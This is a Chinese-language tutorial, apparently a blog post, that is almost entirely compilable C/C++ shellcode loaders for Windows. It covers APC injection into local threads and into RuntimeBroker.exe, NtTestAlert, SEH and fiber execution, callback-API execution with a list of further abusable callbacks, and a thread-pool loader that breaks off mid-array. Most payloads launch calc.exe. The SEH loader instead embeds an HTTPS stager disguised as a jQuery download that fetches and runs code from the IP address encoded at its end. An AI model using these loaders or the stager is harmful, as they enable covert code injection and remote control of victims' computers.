新建一个进程,在进程内创建一个挂起的线程,往这个线程内插入APC注入,随后恢复进程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <stdio.h> #include <Windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HANDLE hThread = NULL ; HANDLE hProcess = 0 ; DWORD ProcessId = 0 ; LPVOID AllocAddr = NULL ; hProcess = GetCurrentProcess (); AllocAddr = VirtualAllocEx (hProcess, 0 , sizeof (buf) + 1 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (hProcess, AllocAddr, buf, sizeof (buf) + 1 , 0 ); hThread = CreateThread (0 , 0 , (LPTHREAD_START_ROUTINE)0xfff , 0 , CREATE_SUSPENDED, NULL ); QueueUserAPC ((PAPCFUNC)AllocAddr, hThread, 0 ); ResumeThread (hThread); WaitForSingleObject (hThread, INFINITE); CloseHandle (hProcess); CloseHandle (hThread); return 0 ; }
新建一个进程,在进程内创建一个挂起的线程,往这个线程内插入APC注入,利用未记录的ntdll中的NtTestAlert执行Shellcode,随后恢复进程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <Windows.h> #pragma comment(lib,"ntdll" ) using myNtTestAlert = NTSTATUS (NTAPI*)();int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress (GetModuleHandleA ("ntdll" ), "NtTestAlert" )); SIZE_T shellSize = sizeof (buf); LPVOID shellAddress = VirtualAlloc (NULL , shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (GetCurrentProcess (), shellAddress, buf, shellSize, NULL ); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; QueueUserAPC ((PAPCFUNC)apcRoutine, GetCurrentThread (), NULL ); testAlert (); }
在已有进程内创建一个挂起的线程,往这个线程内插入APC注入,随后恢复进程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <stdio.h> #include <Windows.h> #include <TlHelp32.h> unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ;int GetProcessIDByName (const wchar_t * processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 ); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0 ; } PROCESSENTRY32 processEntry = { sizeof (PROCESSENTRY32) }; if (Process32First (hSnapshot, &processEntry)) { do { if (_wcsicmp(processEntry.szExeFile, processName) == 0 ) { CloseHandle (hSnapshot); return processEntry.th32ProcessID; } } while (Process32Next (hSnapshot, &processEntry)); } CloseHandle (hSnapshot); return 0 ; } int main () { HANDLE hThread = NULL ; HANDLE hProcess = 0 ; DWORD ProcessId = 0 ; LPVOID AllocAddr = NULL ; const wchar_t * targetProcessName = L"RuntimeBroker.exe" ; int processID = GetProcessIDByName (targetProcessName); hProcess = OpenProcess (PROCESS_ALL_ACCESS, NULL , processID); AllocAddr = VirtualAllocEx (hProcess, 0 , sizeof (buf) + 1 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (hProcess, AllocAddr, buf, sizeof (buf) + 1 , 0 ); hThread = CreateRemoteThread (hProcess, 0 , 0 , (LPTHREAD_START_ROUTINE)0xfff , 0 , CREATE_SUSPENDED, NULL ); QueueUserAPC ((PAPCFUNC)AllocAddr, hThread, 0 ); ResumeThread (hThread); CloseHandle (hProcess); CloseHandle (hThread); return 0 ; }
SHE结构化异常执行-SEH
SEH(Structured Exception Handling)结构化异常处理,是windows操作系统默认的错误处理机制,它允许我们在程序产所错误时使用特定的异常处理函数处理这个异常,尽管提供的功能预取为处理异常,但由于其功能的特点,也往往大量用于反调试。
异常发生时,执行异常代码的线程会发生中断,转而运行SEH,此时操作系统会把线程CONTEXT结构体的指针传递给异常处理函数的相应参数.由于这个处理函数可以自定义,所以可以利用操作系统来帮助执行shellcode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <windows.h> int run () { PVOID mainFiber = ConvertThreadToFiber (NULL ); unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x6a\x71\x75\x65\x72\x79\x2d\x33\x2e\x33\x2e\x32\x2e\x73\x6c\x69\x6d\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\x0c\xd9\x1c\xcd\xbe\xeb\x1c\x6f\x48\x37\x3f\x6f\x06\x19\x70\x8d\x68\x13\xc8\x8c\x64\x96\x02\x10\x73\x28\xf8\x7a\x10\x40\x58\xf1\xc0\x25\x17\x16\x5b\x36\x3e\x60\x8b\x2f\x48\x1c\xdb\xe1\xa9\x65\x4d\xd5\xda\x65\xdf\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x64\x65\x2e\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d\x2f\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x31\x32\x39\x2e\x30\x2e\x30\x2e\x30\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x20\x45\x64\x67\x2f\x31\x32\x39\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x00\xe0\x9d\x8c\xc8\xa2\xc1\x78\xa5\x64\x66\xfc\x40\xac\xd3\x87\x4a\x58\xaa\xf5\xfc\xc8\xd6\xc0\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xaf\x0f\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x38\x33\x2e\x32\x32\x39\x2e\x31\x32\x33\x2e\x31\x34\x35\x00\x00\x01\x86\xa0" ; PVOID shellcodeLocation = VirtualAlloc (0 , sizeof (buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy (shellcodeLocation, buf, sizeof (buf)); PVOID shellcodeFiber = CreateFiber (NULL , (LPFIBER_START_ROUTINE)shellcodeLocation, NULL ); SwitchToFiber (shellcodeFiber); return 0 ; } int main () { __try { int * ptr = nullptr ; *ptr = 42 ; } __except (EXCEPTION_EXECUTE_HANDLER) { MessageBox (NULL , L"YES" , L"Error" , MB_OK | MB_ICONERROR); run (); } return 0 ; }
NtTestAlert NtTestAlert
是一个未公开的Win32函数,该函数的效果是如果APC队列不为空的话,其将会直接调用函数.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <windows.h> #pragma comment(lib,"ntdll" ) typedef NTSTATUS (NTAPI* pNtTestAlert) () ;int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress (GetModuleHandleA ("ntdll" ), "NtTestAlert" )); LPVOID lpAddress = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT, PAGE_EXECUTE); WriteProcessMemory (GetCurrentProcess (), lpAddress, buf, sizeof (buf), NULL ); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)lpAddress; QueueUserAPC ((PAPCFUNC)apcRoutine, GetCurrentThread (), 0 ); NtTestAlert (); return 0 ; }
回调函数运行
在C++中,回调函数是一种通过函数指针或函数对象来实现的机制,用于将一个函数作为参数传递给另一个函数,以便在特定事件或条件触发时调用这个函数
想象一下,你在看一部电影,电影结束后,系统会自动播放片尾曲。这种“电影结束后播放片尾曲”的机制可以类比为回调函数。
工作方式
函数指针:
你可以把函数指针看作是指向某个函数的“地址”。
通过将这个“地址”传递给另一个函数,你可以在需要的时候调用原始的函数。
函数对象(仿函数):
类似于函数指针,函数对象是一个可以像函数一样调用的对象。
通常通过重载operator()
实现。
1 2 3 4 5 6 7 8 BOOL EnumDateFormatsA ( [in] DATEFMT_ENUMPROCA lpDateFmtEnumProc, [in] LCID Locale, [in] DWORD dwFlags ) ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <Windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; LPVOID addr = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 0 ; } memcpy (addr, buf, sizeof (buf)); EnumDateFormatsA ((DATEFMT_ENUMPROCA)addr, NULL , NULL ); return 0 ; }
EnumUILanguages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <Windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; LPVOID addr = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 0 ; } memcpy (addr, buf, sizeof (buf)); EnumUILanguages ((UILANGUAGE_ENUMPROC)addr, NULL , NULL ); return 0 ; }
CertEnumSystemStore 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <Windows.h> #include <Wincrypt.h> #pragma comment(lib, "crypt32.lib" ) int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; LPVOID addr = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 0 ; } memcpy (addr, buf, sizeof (buf)); CertEnumSystemStore (CERT_SYSTEM_STORE_CURRENT_USER, NULL , NULL , (PFN_CERT_ENUM_SYSTEM_STORE)addr); return 0 ; }
其他回调函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 CertEnumSystemStore CertEnumSystemStoreLocation CreateThreadPoolWait CreateTimerQueueTimer_Tech CryptEnumOIDInfo EnumCalendarInfo EnumCalendarInfoEX EnumChildWindows EnumDesktopW EnumDesktopWindows EnumDirTreeW EnumDisplayMonitors EnumerateLoadedModules EnumFontFamiliesExW EnumFontFamiliesW EnumFontsW EnumUILanguages EnumLanguageGroupLocalesW EnumObjects EnumPageFilesW EnumPwrSchemes EnumResourceTypesExW EnumResourceTypesW EnumSystemLocalesEx EnumThreadWindows EnumTimeFormatsEx EnumUILanguagesW EnumWindows EnumWindowStationsW FiberContextEdit FlsAlloc ImageGetDigestStream ImmEnumInputContext LdrEnumerateLoadedModules SetTimer SetupCommitFileQueueW SymEnumProcesses
线程池回调执行-CreateThreadpoolWait CreateThreadpoolWait
函数是Windows操作系统提供的一个函数,用于创建一个线程池中的等待对象,用于异步等待一个事件或资源的状态改变,一旦状态改变,线程池中的工作者线程将会被唤醒执行任务。
由此可以通过调用传递给CreateThreadpoolWait
的回调函数来执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <windows.h> #include <threadpoolapiset.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\